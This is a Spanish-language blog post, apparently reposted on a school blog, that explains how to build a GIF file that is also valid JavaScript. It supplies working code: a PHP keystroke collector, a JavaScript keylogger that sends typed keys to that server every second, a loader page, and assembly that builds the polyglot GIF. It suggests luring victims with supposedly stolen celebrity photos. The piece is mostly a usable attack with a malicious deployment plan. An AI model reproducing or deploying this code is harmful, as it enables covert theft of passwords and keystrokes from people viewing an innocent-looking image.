Blog gratis
Reportar
Editar
¡Crea tu blog!
Compartir
¡Sorpréndeme!
Blog de la Escuela de Educación Secundaria Técnica N 8 de Quilmes
Administrador Prof. Claudio Enrique Alonso Alvite
img
04 de Noviembre, 2014    General

Tú mira este gif tan gracioso... y yo mientras te robo tus contraseñas (o el GIF que también quería ser Javascript)

Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

<?php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

keylogger.js

var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);


index.html

<img src="img.gif" />
<script src="img.gif"></script>

Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:


WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
    dw WIDTH, HEIGTH
db 0 ; GCT
    db -1 ; color de fondo
    db 0 ; relación de aspecto por defecto
db 02ch  ; descriptor de imagen
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; ancho y alto de la imagen
    db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");' 
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'

El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif



Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:






Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)




Palabras claves , ,
publicado por alonsoclaudio a las 21:20 · Sin comentarios  ·  Recomendar
 
Más sobre este tema ·  Participar
Comentarios (0) ·  Enviar comentario
Enviar comentario

Nombre:

E-Mail (no será publicado):

Sitio Web (opcional):

Recordar mis datos.
Escriba el código que visualiza en la imagen Escriba el código [Regenerar]:
Formato de texto permitido: <b>Negrita</b>, <i>Cursiva</i>, <u>Subrayado</u>,
<li>· Lista</li>
CALENDARIO
Ver mes anterior Noviembre 2024 Ver mes siguiente
DOLUMAMIJUVISA
12
3456789
10111213141516
17181920212223
24252627282930
BUSCADOR
Blog   Web
TÓPICOS
» General (2606)
NUBE DE TAGS  [?]
SECCIONES
» Inicio
ENLACES
MÁS LEÍDOS
» Analizando el LiveBox 2.1 de Orange
» Cómo espiar WhatsApp
» Cómo usar Metashield protector for Client y por qué utilizarlo
» Detectando tráfico de conexiones HTTP inversas de Meterpreter (Snort)
» Ejecución remota de código arbitrario en OpenSSH
» Ganar dinero con 1.200 Millones de identidades robadas
» Hardware y sus 4 Funcionamientos Basicos y Principales en una Computadora
» Redes de la Deep Web: CJDNS y la Red Hyperboria
» Unidad Central de Procesamiento CPU
» Wassap, la aplicación que permite usar WhatsApp desde la PC
SE COMENTA...
» Cómo espiar WhatsApp
595 Comentarios: Scott, Scott, Jarlinson mercy, [...] ...
» Qué hacer ante el robo de un teléfono móvil o una tableta
2 Comentarios: best buy security cameras swann, best buy security cameras swann
» Espiando usuarios gracias a la vulnerabilidad en cámaras TRENDnet
1 Comentario: Coin
» Recopilatorio de aplicaciones y sistemas vulnerables para practicar
2 Comentarios: vera rodrigez ...
» SoftPerfect WiFi Guard permite saber quién esta conectado a mi WiFi
2 Comentarios: firdous ...
SOBRE MÍ
FOTO

Prof. Claudio Enrique Alonso Alvite



» Ver perfil

AL MARGEN
Escuela de Educacion Secundaria Tecnica N 8 de Quilmes
(Técnicos en Informática Personal y Profesional)
FULLServices Network | Blogger | Privacidad